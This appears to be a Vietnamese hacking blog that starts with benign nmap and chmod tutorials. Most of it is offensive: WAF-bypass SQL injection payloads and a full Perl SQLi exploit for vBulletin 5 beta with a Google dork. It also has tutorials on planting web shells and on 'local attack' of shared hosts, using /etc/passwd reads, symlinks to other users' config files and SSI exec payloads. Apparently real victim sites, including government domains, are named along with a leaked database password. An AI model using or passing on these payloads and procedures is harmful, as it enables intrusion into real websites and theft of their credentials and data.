nmap

#nmap –R –sS 192.168.0.1

R:truy vấn đến DNS server để thực hiện reverse DNS name lookup. tùy chọn này được sử dụng khi mục tiêu là một server.
trường hợp bạn không cần truy vấn DNS server để lấy name

#nmap –n 192.168.0.1 hoặc #nmap –n –sS 192.168.0.1

theo dõi tiến trình

#nmap –vv –n 192.168.0.1

Scan nhiều mục tiêu

# nmap -vv –n 192.168.0.1,2,3 hoặc # nmap –vv –n 192.168.0.1-3
#nmap –vv –n 192.168.0.1-3,6,12-20
scan tất cả 254 máy

# nmap –vv –n 192.168.0.1-254 hoặc # nmap –vv –n 192.168.0.* hoặc# nmap –vv –n 192.168.0.1/24 

Scan port:

scan 1 port xác định, ta dùng tùy chọn -p

# nmap –vv –p 80 192.168.0.1 sẽ scan port 80

# nmap –vv –p 21,23,25,80-100 192.168.0.1     
  
sẽ scan các port 21,23,25 và từ 80 đến 100

# nmap –vv –n –p 21,23,25 192.168.1-2.*        

 bao gồm:

· Hiện các công việc nmap đang thực hiện

· Loại bỏ chức năng DNS reverse (tăng tốc độ và không để DNS server ghi lại bất cứ điều gì)

· Scanning port

· Scanning các IP từ 192.168.1.0 đến 192.168.2.254 

Các tùy chọn khác :

-sS: SYN scanning 

TCP SYN scan thu thập thông tin về port mà không cần hoàn thành quá trình bắt tay TCP. Khi 1 cổng được xác định, quá trình bắt tay TCP sẽ được reset trước khi chúng hoàn tất. Kỹ thuật này thường được xem như kỹ thuật “half open” scanning.
Điểm mạnh: Một TCP SYN scan không bao giờ tạo ra một phiên truy vấn TCP hoàn chỉnh, do đó nó không bị log lại tại mục tiêu. Đây được xem như một cách scan trong im lằng.

Điểm yếu: Bạn cần có quyền tại hệ thống chạy nmap (trong trường hợp này là quyền root)

# nmap –vv –n –sS 192.168.0.1

-sT: TCP connect scanning

Với tùy chọn này, nmap sẽ thực hiện quá trình bắt tay 3 bước TCP

Điểm mạnh : Bạn không cần quyền tại hệ thống chạy nmap
Điểm yếu : Kết nói của bạn sẽ bị log tại máy đích, do đó không nên sử dụng kỹ thuật này

# nmap –vv –n –sT 192.168.0.1

-sF, -sX, -sN: FIN scan, Xmas tree scan, NULL scan. 

Đây được gọi là các kỹ thuật scan giấu giếm. Chúng gửi 1 frame đơn đến cổng TCP mà không có bất cứ một gói TCP handshake nào. Chúng tỏ ra có khả năng "giấu" nhiều hơn SYN scan và phải được dùng nếu máy đích không phải là máy Windowns.
Một hệ thống Window sẽ trả lời bằng một RST cho tất cả truy vấn này.
Điểm mạnh: Không có phiên TCP sessions được tạo ra.
Điểm yếu: Không thể sử dụng để chống lại hệ thống Windows

# nmap –vv –n –sF 192.168.0.1

# nmap –vv –n –sX 192.168.0.1

# nmap –vv –n –sN 192.168.0.1

-sU: UDP scan.

# nmap –vv –n –sU 192.168.0.1

-sR: RPC scan. 
Tùy chọn này được dùng để xác định ứng dụng RPC. Nó chạy tự động và mặc định trong version scan (được đề cập tiếp theo)

Điểm yếu: RPC scan mở phiên của ứng dụng, do đó nó được log lại.

# nmap –vv –sR 192.168.0.1

-sV: Version scan

Scan này sẽ cho ta biết trạng thái của port và dịch vụ đang chạy trên chúng. Để khai thác dịch vụ bạn cần biết chính xác version của dịch vụ đang chạy trên máy đích.

Điểm yếu: Nó mở phiên với máy đích nên sẽ bị log.

# nmap –vv –sV 192.168.0.1

-sA: ACK scan 
ACK scan tỏ ra rất hữu ích khi có các firewall hay thiết bị lọc gói tin. Nó không xác định một port đang mở, nó chỉ xác định port đó đang bị chặn bởi firewall. Nó không mở bất cứ phiên ứng dụng nào, do đó việc liên lạc giữa nmap và thiết bị lọc gói tin thật sự đơn giản.
Điểm yếu: Nó chỉ có thể xác định port bị chặn hoặc không chặn chứ không xác định đc port mở hay không.

# nmap –vv –sA 192.168.0.1

 -sP: Ping scan:

# nmap –vv –sP 192.168.0.10

Ping scan sẽ check xem host đó đang up hay down

# nmap –vv –sP 192.168.0.*

Được dùng để phát hiện các host đang hoạt động trong subnet.

Điểm yếu: Ping scan không thể kết hợp được với các tùy chọn khác
O/S fingerprinting and version detection

-O: Operating system fingerprinting.

# nmap –vv –O 192.168.0.1

Nó sẽ cho bạn biết ít hệ điều hành và version đang chạy ở mục tiêu. Nó cần ít nhất một port đóng và một port mở để xác định chính xác, nếu không có điều kiện này nó không thể đưa ra một kết quả chính xác nhất được. Trong trường hợp đó bạn nên dùng các ứng dụng thứ 3 bổ xung.

Điểm yếu : Một tool theo dõi sẽ nhanh chóng phát hiện ra có ai đó đang nhòm ngó hệ thống

-sV: Version detection 

Như đã trình bày, nó sẽ giúp bạn biết được version của dịch vụ đang chạy tại máy đích.

# nmap –vv –sV 192.168.0.1

-A: thêm

Tùy chọn này bao gồm cả -O và -sV, do đó 2 cầu lệnh sau sẽ như nhau :

# nmap –vv –sV –O 192.168.0.1 

# nmap –vv –A 192.168.01.

Ping Scan 

-PE ICMP Echo Request 

Nó chỉ đơn giản là ICMP Echo request và ICMP Echo reply tương ứng là cách tốt nhất để xác định tĩnh sẵn sàng của máy đích. Nhược điểm là nó là giao thức phổ biến nhất bị lọc bởi bức tường lửa / bộ lọc gói. Nếu bạn nhận được trả lời với kiều ping này, nó sẽ chỉ ra rằng có rất ít bộ lọc giữa bạn và đích.. 

-PA[port number] TCP ACK Ping

Hữu ích để xác định bộ lọc / cổng không lọc, do đó rất hữu ích khi có một số bức tường lửa bảo vệ máy. 

# nmap-vv 192.168.0.1-PA23, 110

nmap sẽ ping cổng 23 và 110 của máy đích với các gói ACK. Nếu máy đích up hoặc không có bộ lọc, nó sẽ trả lời với các gói RST. Nhưng trong trường hợp nó down hoặc có bộ lọc, sẽ không có trả lời và do đó quá trình quét sẽ dừng lại. Vì vậy để qua được tường lửa, ta phải thử cổng khác.

Nếu không có cổng được chỉ định, cổng số 80 sẽ được chọn (thông thường các bộ lọc gói cho phép traffic qua cổng 80). 

-PS[port number] TCP SYN Ping

Chức năng của nó là giống SYN Scan. Máy Nmap gửi gói tin SYN đến máy đích.Cổng mở sẽ trả lời với ACK / SYN và cổng đóng sẽ trả lời với RST. Do đó có thể được sử dụng để xác định xem máy đích là up hay ko. Cổng có thể được chỉ định, 80 là cổng mặc định. 

# nmap-vv-n 192.168.0.1-PS (sẽ ping cổng 80) 

# nmap-vv-n 192.168.0.1-PS23, 110 (sẽ ping cổng 23 và 110 ) 

-PU[port number] TCP UDP Ping
Theo mặc định nó sẽ gửi các frame UDP tại cổng 31338. Các frame UDP được gửi đến cổng đóng sẽ nhận được thông điệp "ICMP port unreachable". Nếu cổng mở , nó có thể hoặc không trả lời, vì nhiều ứng dụng UDP không gửi trả lời với bất kỳ khung đến ngẫu nhiên. Vì vậy cần cố gắng để gửi khung UDP đến cổng đóng. Do cách ping này dựa rất nhiều vào các gói ICMP, vì thế nếu ICMP bị lọc có thể không trả lời.

# nmap-vv-n 192.168.0.1-PU (cổng mặc định là 31338) 

# nmap-vv-n 192.168.0.1-PU 

-PP ICMP Timestamp Ping 

ICMP Timestamp Ping được sử dụng để cho phép hai hệ thống riêng biệt để điều phối thời gian. Nó không hữu ích khi có tường lửa vì nó dựa chủ yếu vào ICMP. 

-PM ICMP Address Mask Ping
Nó hoạt động bằng cách gửi một yêu cầu ICMP Address Mask đến một thiết bị đích. Hầu hết các hệ điều hành hiện đại và các router sẽ không đáp ứng yêu cầu này, do đó loại ping ICMP này không hoạt động trên hầu hết hệ thống hiện đại. 

Một vài điều về thu thập thông tin hệ điều hành (OS fingerprinting)

- osscan_limit 

Tùy chọn này sẽ hủy bỏ OS fingerprinting nếu cả hai cổng mở và đóng đều không có, vì thế sẽ tiết kiệm rất nhiều thời gian thay vì nhận được kết quả không chính xác. 

-A (Additional, Advanced, and Aggressive)

Là sự kết hợp của "-O" và "-sV" tức là OS fingerprinting và service

# nmap-vv-n 192.168.0.1-O-sV 

là tương tự như 

# nmap-vv-n 192.168.0.1-A 

Bao gồm và Loại trừ các máy chủ và Ports 

Loại trừ mục tiêu (-exclude ) 

Các địa chỉ IP được chỉ định sẽ không được quét bằng Nmap. 

#nmap –vv –n –sS 192.168.0.1/24 --exclude 192.168.0.2-4, 192.168.0.7

Điều này sẽ quét toàn bộ mạng con trừ 192.168.0.2, 192.168.0.3, 192.168.0.4, và 192.168.0.7. 
Loại trừ các mục tiêu trong tệp (- excludefile ) 

# nmap-vv-n-sS 192,168 .*.* - excludefile filename.txt Nội dung của filename.txt thể như sau:

192.168.0.1-4 //(loại trừ 192.168.0.1-192.168.0.4)

192.168.3-5 .* // (loại trừ 192.168.3.0 à 192.168.5.255)

192.168.6 .* // (loại trừ 192.168.6.0 à 192.168.6.255) 
Lợi ích của tùy chọn -excludefile là một tập tin loại trừ có thể được tạo ra bao gồm địa chỉ IP của các tổ chức, cá nhân mà bạn không bao giờ muốn để quét 

- excludefile và –exclude là các lựa chọn không thể được sử dụng trên cùng một lần scan.
Đọc dữ liệu từ File (-il ) Thay vì cung cấp địa chỉ IP tại dòng lệnh của Nmap, một tập tin có thể được duy trì có chứa địa chỉ IP cách nhau bằng tab, khoảng trống, hoặc dòng riêng lẻ. Khi tùy chọn này được sử dụng, bất kỳ địa chỉ IP được chỉ định trên dòng lệnh sẽ bị bỏ qua mà không có bất kỳ thông báo nào.# nmap-vv-n-il input.txt 

# nmap-vv-n-il input.txt 192.168.1.1 (ở đây 192.168.1.1 sẽ bị bỏ qua)

Nếu lựa chọn loại trừ host, --exclude hay –excludefile, được sử dụng với tùy chọn-il, các địa chỉ bị loại trừ sẽ ghi đè lên bất cứ dòng lệnh hoặc tập tin. 
Quét mục tiêu với số lượng ngẫu nhiên 
-iR Bạn có thể tìm kiếm chỉ web của máy chủ hoặc một số máy chủ khác , ví dụ các máy chạy một dịch vụ cụ thể trên một cổng cụ thể.

Ví dụ
telet tại cổng 23
SMTP : 25
Máy chủ web : 80 vv # nmap-vv-n-iR 100-p 80

Quét ngẫu nhiên 100 máy tại cổng 80 

# nmap-vv-n-iR 0-p 80 (đó là số không, không phải 'O') 
Quét "không giới hạn" số máy tại cổng 80. Vì vậy, ở đây bạn thấy, Nmap sẽ quét hàng ngàn và hàng ngàn máy. Scan sẽ không báo cáo bất kỳ kết quả nào cho đến khi 500 máy được xác định. Do đó kiểu quét này sẽ được dùng với một tùy chọn đăng nhập .# nmap-sS-PS80-iR 0-p 80 Nó sẽ chạy một TCP SYN quét bằng cách sử dụng một ping SYN trên cổng 80 đến một số lượng không giới hạn của ngẫu nhiên các địa chỉ IP. Việc quét SYN chỉ quét cổng 80.

-iL, --exclude, --excludefile, không được sử dụng với tùy chọn -iR. 

- randomize_hosts # nmap-vv-randomize_hosts-p 80 192,168 .*.* 
nmap sẽ quét ngẫu nhiên.

-iL, --exclude, and –excludefile có thể được sử dụng với tùy chọn này. 2.048 máy tại một thời điểm được chọn ngẫu nhiên
Lựa chọn log
để lưu trữ các kết quả của Nmap. Lý do có thể là:

1. Bạn đang quét hàng trăm máy , do đó, không muốn nhìn màn hình suốt quá trình scan.
2. Bạn bắt đầu quét trong đêm và muốn thấy kết quả vào buổi sáng.
3. Bạn có thể muốn giữ các hồ sơ để tham khảo trong tương lai
4. Bạn muốn pause/stop Nmap và tiếp tục quá trình quét vào một lúc khác.

... .. Và rất nhiều lý do khác.

Vì vậy, đây là cách đăng nhập tùy chọn khác nhau cho NmapĐịnh dạng thông thường: 

-oNNó lưu lại kết quả nhìn giống như hiển thị trên màn hình khi scan. Không cần phải chỉ định đuôi mở rộng của tập tin đầu ra. Nó sẽ có phần mở rộng. Nmap.

Định dạng XML 

-oX Đầu ra là file *.XLM có thể view trên các trình duyệt khác nhau. Trên thực tế Nmap có một tập tin XSL biên dịch thông tin XML thành một định dạng HTML có thể xem được, có thể hiển thị được trong bất kỳ trình duyệt nào.Grepable Format

-oG 
Các tập tin đầu ra sẽ có phần mở rộng. Gnmap. 

Tất cả các định dạng

-oA 

Sẽ tạo ra ba file xuất, bình thường, XML và Grepable.

Giả sử tên của tập tin là target, do đó, bạn sẽ nhận được trong ba tập tin sau:
target.nmap
target.xml
target.gnmap

Script Kiddie Format

-oS 

Đầu ra sẽ là ngôn ngữ Kiddie 

Resuming the scan

Giả sử bạn đang quét một mạng con là 100 máy và đang scan máy 45 khi bạn ngừng quét. Khi bạn tiếp tục quá trình quét thời gian tới, tất cả các máy có được quét trước máy 45 sẽ không được quét lại. Nhưng các chức năng quét của máy 45 sẽ bắt đầu từ đầu một lần nữa.
Do đó không sử dụng tùy chọn khôi phục khi bạn chỉ scan có một máy

--resume 

Tập tin này có thể là dạng thường (-oN) hoặc Grepable (-oG).XML không được sử dụng

Không sử dụng nó với lựa chọn --randomize_hosts.

Một vài lựa chọn mà nói chung luôn luôn cần dùng trong tất cả scan là:

-vv tiết chế độ

-n tăng tốc quá trình quét và file log được tạo trên các máy chủ DNS.

-oA để có được các tập tin đầu ra để quét có thể resume. 

readmore...

Cài đặt cisco packet trace trên ubuntu

đầu tiên phải cài đặt rpm
       sudo apt-get install rpm
Vào đây: https://www.kleii.com/f/5152e5c906bbadff59000022
Download về
Giải nén,
   chmod +x install
   ./install
để mở packettracer: packettracer

readmore...

Cơ chế phân quyên trong linux

Mỗi đặc quyền truy cập này tương ứng với một trị số:

• read = 4

• write = 2

• execute = 1

Những giá trị cho một số quyền truy cập tương ứng với mỗi nhóm được bổ sung cùng nhau để tạo thành một giá trị giữa 0 và 7 (có thể được sử dụng để thay đổi hay phân quyền bằng cách sử dụng lệnh chmod – change mode).

Ví dụ, nhập lệnh chmod 764 [tên file] để cấp quyền truy cập vào một file nào đó, trong đó trị số 764 được sinh ra từ:

• rwe = 4 (read) + 2 (write) + 1 (execute) = 7

• rw = 4 (read) + 2 (write) = 6

• r = 4 (read) = 4

Bạn có thể sử dụng lệnh chmod để phân quyền cho file và thư mục, tuy nhiên bạn nên lưu ý nhập chính xác lệnh chmod, không được sử dụng các kí tự chữ in hoa trong lệnh. 

Dưới đây là một số lệnh chmod thường dùng:

• chmod 777 filename: Cấp quyền truy cập đầy đủ cho mọi đối tượng người dùng.

• chmod 775 filename: Cấp quyền truy cập đầy đủ cho chủ hệ thống và nhóm quản trị, đối tượng người dùng chỉ có quyền đọc (read) và chạy (execute) file.

• chmod 755 dirname: Cấp quyền truy cập đầy đủ cho chủ hệ thống, chỉ cho phép nhóm quản trị và đối tượng người dùng đọc và chạy các file trong thư mục.

• chmod 700 filename: Chỉ cấp quyền truy cập đầy đủ cho chủ hệ thống và chặn truy cập với mọi đối tượng khác.

• chmod 500 dirname: Không cho phép nhóm quản trị và người dùng truy cập vào file trong thư mục, đồng thời giới hạn quyền chủ hệ thống chỉ đọc và chạy để tránh xóa và thay đổi các file trong thư mục này.

• chmod 660 filename: Cho phép chủ hệ thống và nhóm quản trị đọc, sửa, xóa và ghi dữ liệu vào file, nhưng không phân quyền truy cập cho những người dùng khác.

readmore...

WAF Bypass Sql Injection Tips

Này là dành cho những người hiểu biết sql injection. Đôi khi sẽ có một 403 forbidden errorhoặc không chấp nhận lỗi của mình vì các WAF (tường lửa ứng dụng web) bạn có thể bỏ qua điều này bằng cách sử dụng các truy vấn sau đây. Nếu u không biết sql injection bạn có thể tìm hiểu nó HERE (language English)
Order By không làm việc?
Bạn chỉ có thể vượt qua nó bằng cách sử dụng nhóm bởi thay vì tự do
Union Select bỏ qua:

union(select(0),version(),(0),(0),(0),(0),( 0),(0),(0))
/*!50000union*/+/*!50000select*/
UNIunionON+SELselectECT
+union+distinct+select+
+union+distinctROW+select+
union+/*!select*/+1,2,3
union/**/select/**/1,2,3
uni%20union%20/*!select*/%20
/**//*!union*//**//*!select*//**/
union%23aa%0Aselect
/**/union/*!50000select*/
/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/
%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/
+%23sexsexsex%0AUnIOn%23sexsexs ex%0ASeLecT+
id=1+’UnI”On’+'SeL”ECT’ <-mysql data-blogger-escaped-br="" data-blogger-escaped-only="">id=1+'UnI'||'on'+SeLeCT' <-mssql data-blogger-escaped-only="" data-blogger-escaped-p="">

sau khi id không. như id=1 +/*!and*/+1=0

+div+0
Having+1=0
+AND+1=0
+/*!and*/+1=0
and(1)=(0)

Lỗi các Url::

=-id=-1 union all select
id=null union all select
id=1+and+false+union+all+select
id=9999 union all select

Order Bypassing làm như thế này

/*!table_name*/
+from /*!information_schema*/./*!tables*/ where table_schema=database()
unhex(hex(Concat(Column_Name,0x3e ,Table_schema,0x3e,table_Name)))
/*!from*/information_schema.columns/*!where*/column_name%20/*!like*/char(37,%20112,%2097,%20115,%2011 5,%2037)

được sử dụng với order::

convert()using ascii)
unhex(hex())

Nếu ascii không làm việc bạn có thể thử:

ujis
ucs2
tis620
swe7
sjis
macroman
macce
latin7
latin5
latin2
koi8u
koi8r
keybcs2
hp8
geostd8
gbk
gb2132
armscii8
ascii
binary
cp1250
big5
cp1251
cp1256
cp1257
cp850
cp852
cp866
cp932
dec8
euckr
latin1
utf8

readmore...

DNS Spoofing

DNS Spoofing

 Đây là một Tut đẹp Từ người bạn thân yêu của tôi H4x4rwOw trên DNS giả mạo

Khuyên để tải về và xem
Download Here
Lưu ý: - Chỉ dành cho mục đích giáo dục

readmore...

[VIDEO] Thử nghiệm Slowloris+ với WebHunter 4.5

[VIDEO] Thử nghiệm Slowloris+ với WebHunter 4.5

readmore...

DNS Hijacking

Đây là một đẹp Tut Từ người bạn thân yêu của tôi H4x4rwOw trên DNS cướp
Khuyên để tải về và xem
Download Here
Lưu ý: - Chỉ dành cho mục đích giáo dục

readmore...

vBulletin 5.0.0 Beta 11 - 5.0.0 Beta 28 - SQL Injection

vBulletin 5.0.0 Beta 11 - 5.0.0 Beta 28 - SQL Injection

# Exploit Title: vBulletin 5 Beta XX SQLi 0day
# Google Dork: "Powered by vBulletin™ Version 5.0.0 Beta"
# Date: 24/03/2013
# Exploit Author: Orestis Kourides
# Vendor Homepage: www.vbulletin.com
# Software Link:
# Version: 5.0.0 Beta 11 - 5.0.0 Beta 28
# Tested on: Linux
# CVE : None

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use MIME::Base64;
system $^O eq 'MSWin32' ? 'cls' : 'clear';
print "
+================================================= ==+
| vBulletin 5 Beta XX SQLi 0day |
| Author: Orestis Kourides |
| Web Site: www.cyitsec.net |
+================================================= ==+
";

if (@ARGV != 5) {
print "\r\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS MAGICNUM\r\n";
exit;
}

$host = $ARGV[0];
$path = $ARGV[1];
$username = $ARGV[2];
$password = $ARGV[3];
$magicnum = $ARGV[4];
$encpath = encode_base64('http://'.$host.$path);
print "[+] Logging\n";
print "[+] Username: ".$username."\n";
print "[+] Password: ".$password."\n";
print "[+] MagicNum: ".$magicnum."\n";
print "[+] " .$host.$path."auth/login\n";
my $browser = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
my $response = $browser->post( 'http://'.$host.$path.'auth/login',
[
'url' => $encpath,
'username' => $username,
'password' => $password,
],
Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',
User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$browser->cookie_jar( $cookie_jar );
my $browser = LWP::UserAgent->new;
$browser->cookie_jar( $cookie_jar );
print "[+] Requesting\n";
my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
[
'nodeid' => $magicnum.') and(select 1 from(select count,concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338',
],
User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
);
$data = $response->content;
if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };
print "\n";
exit 1;

good luck !

readmore...

[Tut] Up Shell Vbulletin Qua Database P.I

[Tut] Up Shell Vbulletin Qua Database P.I

Khi thực hiện Local Attack đối với 4rum thì include shell qua database, là 1 kỹ năng không thể thiếu bởi vì thư mục Admincp thông thường không có mấy admin sơ ý đến nỗi quên không change path và đặt file .htaccess bảo vệ. Vì vậy phương pháp include shell database được các attacker sử dụng 1 cách phổ biến

Có 3 cách để include shell, hôm nay soleil sẽ giới thiệu cách thứ nhất.

Victim: http://raoonline.net/forum.php
 

Giả sử soleil đã có shell  1 site trên cùng server,

 Ví dụ: http://taichinheakar.gov.vn/vhb.php
 

Với shell này ta có thể Local Attack sang forum: http://raoonline.net  và thu được thông tin config như sau:

$config['MasterServer']['username'] = 'raovat_forum';
$config['MasterServer']['password'] = '125254857'

Bước 1: Login vào cơ sở dữ liệu:

Bước 2:  Chèn shell vào database

Vào table datastore rồi vào column pluginlist, Edit column này bằng cách chèn đoạn sau:

Link download: http://www.mediafire.com/?8jked1v78a7cc9q

Pass download:   ceh.vn

Pass giải nén:    soleil_vhb

 Bước 3: Run shell

Shell đã được chèn vào database và ta chạy shell vơi path sau:

http://raoonline.net/archive/global.php

Nếu forum có dạng  là: http://www.victim.com/forum/forum.php  thì path sẽ là:

http://ww.victim.com/forum/archive/global.php

 

readmore...

[Local Attack] Get all config toàn server

-          Đâu tiên download shell get all config ( w.php)  về rồi up lên server.

http://www.mediafire.com/?hi4gnmu3kpxn095 ( pass unlock: soleil_vhb )

     -          Click vào done và thư mục có tên là tmp sẽ được tạo ra.

     -          Vào link của thư mục tmp sẽ có 1 số shell với các chức năng sau:

+             dz.sa : Đây là shell cgi, sử dụng nó để get các user trên server bằng cách thực thi câu lệnh: cat /etc/passwd, more /etc/passwd ( Pass login là: dz ).

+             user.sa : Shell này dung để xem danh sách các user và domain trên server.

+             config.sa : Shell này có nhiệm vụ thực thi get all config bằng phương pháp symlink

      -          Vào link shell  http://www.vksbinhphuoc.gov.vn/soleil/tmp/config.sa

 

      -          Coppy toàn bộ thông tin user có được từ câu lệnh: cat /etc/passwd vào khung như hình ảnh dưới đây rồi ấn  “get config”

     -          Cuối cùng trở lại link http://vksbinhphuoc.gov.vn/soleil/tmp/, chúng ta sẽ có được danh sách các file config của các site trên server.

 *   Đặc điểm của con shell get all config này:

+             Là 1 công cụ cực kỳ thuận tiện, giảm bớt thời gian và công sức khi local attack

+             Chỉ sử dụng đối với các server cho chạy shell cgi và cho quyền symlink

+             Không bypass được, chỉ symlink đối với các site chưa chmod và có path dẫn đến file config là mặc định.

readmore...

[Bài 3 - Local Attack] Các Phương Pháp Local Attack

[Bài 3 - Local Attack] Các Phương Pháp Local Attack

 Để hoàn thành bộ tut Local Attack full, hôm nay Soleil sẽ giới thiệu bài 3, cũng chính là bài quan trọng và trọng tâm nhất trong Local Attack. Trước khi đi vào bài 3, các bạn có thể đọc qua và lấy 1 số tool cần thiết từ  bài 2 - Giới thiệu tính năng 1 số shell

      


  *        Nhắc lại trình tự các bước Local Attack

     1-       View danh sách các user trong server

     2-      Tìm  file config.php

     3-      Get thông tin login vào database

     4-      Crack hoặc change pass admin

     5-      Login vào quyên quản trị và upshell

    

     1-      View danh sách các user trên server

Muốn local được 1 site nào đó trên server thì trướ tiên cần phải xác định site đó có user là gì, source code là gì từ đó tìm cách đọc file config.php của user đó

-          Một số câu lệnh để get user:

Lệnh phổ biến nhất:

Cat /etc/passwd

Tuy nhiên một số server cấm lệnh cat, có thể sử dụng các lệnh sau một cách linh hoạt

Less /etc/passwd

./cat/etc/passwd

More /etc/passwd

Ngoài ra có thể sử dụng chức năng get user trên shell byg.php, c99.php hay bypass ở r57.php, soleil.pin, telnet.pl hoặc các shell sau:

http://www.mediafire.com/?gic70c6ce441333

http://www.mediafire.com/?hi4gnmu3kpxn095( đk: chmod 755)

http://www.mediafire.com/?2rk42hiv9b4ii3f

Pass download: soleil_vhb

Pass dải nén: ceh.vn

 -          Câu lênh get user & domain

Cat /etc/virtual/domainowners  ( Chỉ dùng đối với direct admin )

               

      2-      Tìm file path file config.php

Đối với các mã nguồn mở thì path file config được mặc định như sau:

Lưu ý: “path” chính là path từ server dẫn tới site, ví dụ đối với server linux, path là: /home/user/public_html

-          Vbulletin:

path/includes/config.php

-          Mybb:

path/inc/config.php

-          Joomla:

path/configuration.php

-          Word-Press:

path/wp-config.php

-          Ibp:

path/conf_global.php

-          Php-fusion:

path/config.php

-          Smf:

Path/Settings.php

-          Nuke:

path/config.php

-          Xoops:

path/mainfile.php

-          Zen Cart

Path/includes/configure.php

-          path/setidio:

path/datas/config.php

-          Datalife Engine:

path/engine/data/config.php

-          Phpbb:

Path/config.php

-          Wordpress:

path/wp-config.php

-          Seditio:

path/datas/config.php

-          Drupal:

path/sites/default/settings.php

                       -   Discuz
          path/config/config_ucenter.php
                       -  Bo-Blog
           path/data/config.php

-          Đây là path mặc định đối với các mã nguồn mở, còn đối với site tự code thì thông thường path vẫn đặt hay ngay sau thư mục public_html ( path/config.php ).

-          Đối với các quản trị viên chú ý đến tính năng bảo mật, phòng tránh local attack thì họ thường dấu kỹ và thay đổi path dẫn đến file config, trong trường hợp này cần phải dò path bắt đầu từ file index đi vào. Soleil sẽ lấy ví dụ dò path file config đối với vbulletin chẳng hạn:

Forum.php -> global.php -> includes/class_bootstrap -> includes/init.php -> includes/class_core.php -> includes/config.php

( Để tìm kiếm path trong source, search theo từ khóa: “cwd”, ta sẽ thấy đoạn code tương tự như: “require_once(CWD . '/includes/init.php');” -  Đây là path mặc định dẫn tới file init.php))……

     3-      Get thông tin file config 

Phần này chính là phần trọng tâm nhất trong  bộ tut local attack. Trong phần này soleil sẽ giới thiệu đầy đủ các kỹ thuật cơ bản để local attack.

3.1-  Trước hết ta cần tìm hiểu qua về các câu lệnh cơ bản trong linux ứng dụng cho local attck:

-          Ls , dir       : Liệt kê tên các file bên trong thư mục
ls -al, ls -lia: Liệt kê tên và thuộc tính các file bên trong thư mục

Ls -lia /home/vhbgroup/public_html/@4rum/includes.config.php

-          Cat, ./cat, less, more, tail :  View nôi dung bên trong các file:

Cat /home/vhbgroup/public_html/@4rum/includes/config.php

-          Ln : Lệnh symbolic link:

Ln -s /home/vhbgroup/public_html/@4rum/includes/config.php soleil.ini

-          Cd: Chuyển đổi thư mục

Ví dụ muốn chuyển tới thư mục soleil”

Cd /home/vhbgroup/public_html/@4rum/includes/soleil

cd ~ : Tới thư mục home dictionary

cd -:  Quay lại thư mục vừa làm việc

cd ..: Tới thư mục kề bên ngoài thư mục đang làm việc

-          Chmod: Phân quyền cho các file hoặc thư mục:

Chmod 400 config.php ( đang làm việc trong thư mục includes chứa file config.php )

-          Mkdir: tạo thư mục:

Ví du muốn tạo thư mục soleil trong thư mục includes:

Mkdir /home/vhbgroup/public_html/@4rum/includes/soleil 

-          Touch : Tạo file:

touch /home/vhbgroup/public_html/@4rum/includes/soleil.php 

-          Tar, zip: Lệnh nén và giải nén: thường sử dụng trong symlink root

Tar –zcvf ducdung08clc.tar.gz soleil ( Nén thư mục soleil thành file ducdung08clc.tar.gz)

Tar –zxvf ducdung08clc.tar.gz ( giải nén file ducdung08clc.tar.gz)

Zip –r -9 ducdung08clc.zip soleil ( Nén thư mục soleil thành file ducdung08clc.zip)

Zip -p ducdung08clc.zip ( Giải nén file ducdung.tar.gz)

…………

3.2- Phần tiếp theo Soleil sẽ trình bày 1 số kỹ thuật dùng để lấy thông tin file config.php

    1-      Sử dụng các lệnh cat, dir để xem tên thư mục, tệp tin và đọc nội dung tệp tin.

Ví dụ:

dir /home/vhbgroup/public_html/includes

cat /home/vhbgroup/public_html/includes/config.php

Nhưng hiện nay phần lớn các server đều không cho phép thực thi những hàm này nên ứng dụng phương pháp này không mấy khả thi

     2-      Sử dụng Symbolic link – Gọi tắt là symlink

Symbolic link là kỹ thuật cơ bản và gần như là quan trọng mà phần lớn các attaker nghĩ đến đầu tiên trước khi thực hiện công việc local attack.

Ln -s /home/vhbgroup/public_html/@4rum/includes/config.php soleil.ini

Có thể hiểu đơn giản là tạo 1 file soleil.ini trên host có nội dung giống file config.php của user vhbgroup trên server có path /home/vhbgroup/public_html/@4rum/includes/config.php

Có thể thay soleil.ini bằng .txt nhưng do thói quen soleil vẫn hay sử dụng .ini hơn bởi vì đối với 1 số server bị lỗi nó có thể bypass permissions 400.

     3-      Sử dụng symlink kết hợp với ssi:

Đối với 1 sô server khi symbolick link bình thường xuất hiên 403 forbinden – không cho phép đọc file đã được symlink thì giải pháp được nghĩ đến đó là kết hợp với ssi.

-          Tạo 1 file ducdung08clc.shtml với nội dung như sau:

<!--#include virtual="soleil.ini"-->

Trong đó file soleil.ini là file đã được symbolic link trên server.

Bây giờ view source của file ducdung08clc.shtml ta sẽ thấy đc nội dung file soleil.ini đã symbolic link.

     4-      Chạy lệnh bằng file .shtml

-          Tuy nhiên  có 1 số server cả 2 cách đó đều không áp dụng được nhưng nó lại cho chạy lệnh bằng file .shtml

<!--#exec cmd="cat /etc/passwd"-->

-          Lệnh xem file logs như sau:

<!--#exec cmd="tail -n 10000 /var/log/httpd/domains/vhbgroup.net.error.log"-->

Lưu ý:  + lệnh tail cũng giống như lệnh cat nhưng nó dùng để xem nhưng dòng cuối cùng của file trên server.

 +  /var/log/httpd/domains/vhbgroup.net.error.log là path dẫn đến file error.log của direct admin

           + Còn path dẫn đến file error.log của cpanel là:  /usr/local/apache/logs/error_log ….., tùy vào bộ cài host mà path dẫn đến file error.log khác nhau.

     5-      Get all config toàn server

       -          Đâu tiên download shell get all config ( w.php)  về rồi up lên server.

http://www.mediafire.com/?hi4gnmu3kpxn095 ( pass unlock: soleil_vhb )

      -          Click vào done và thư mục có tên là tmp sẽ được tạo ra.

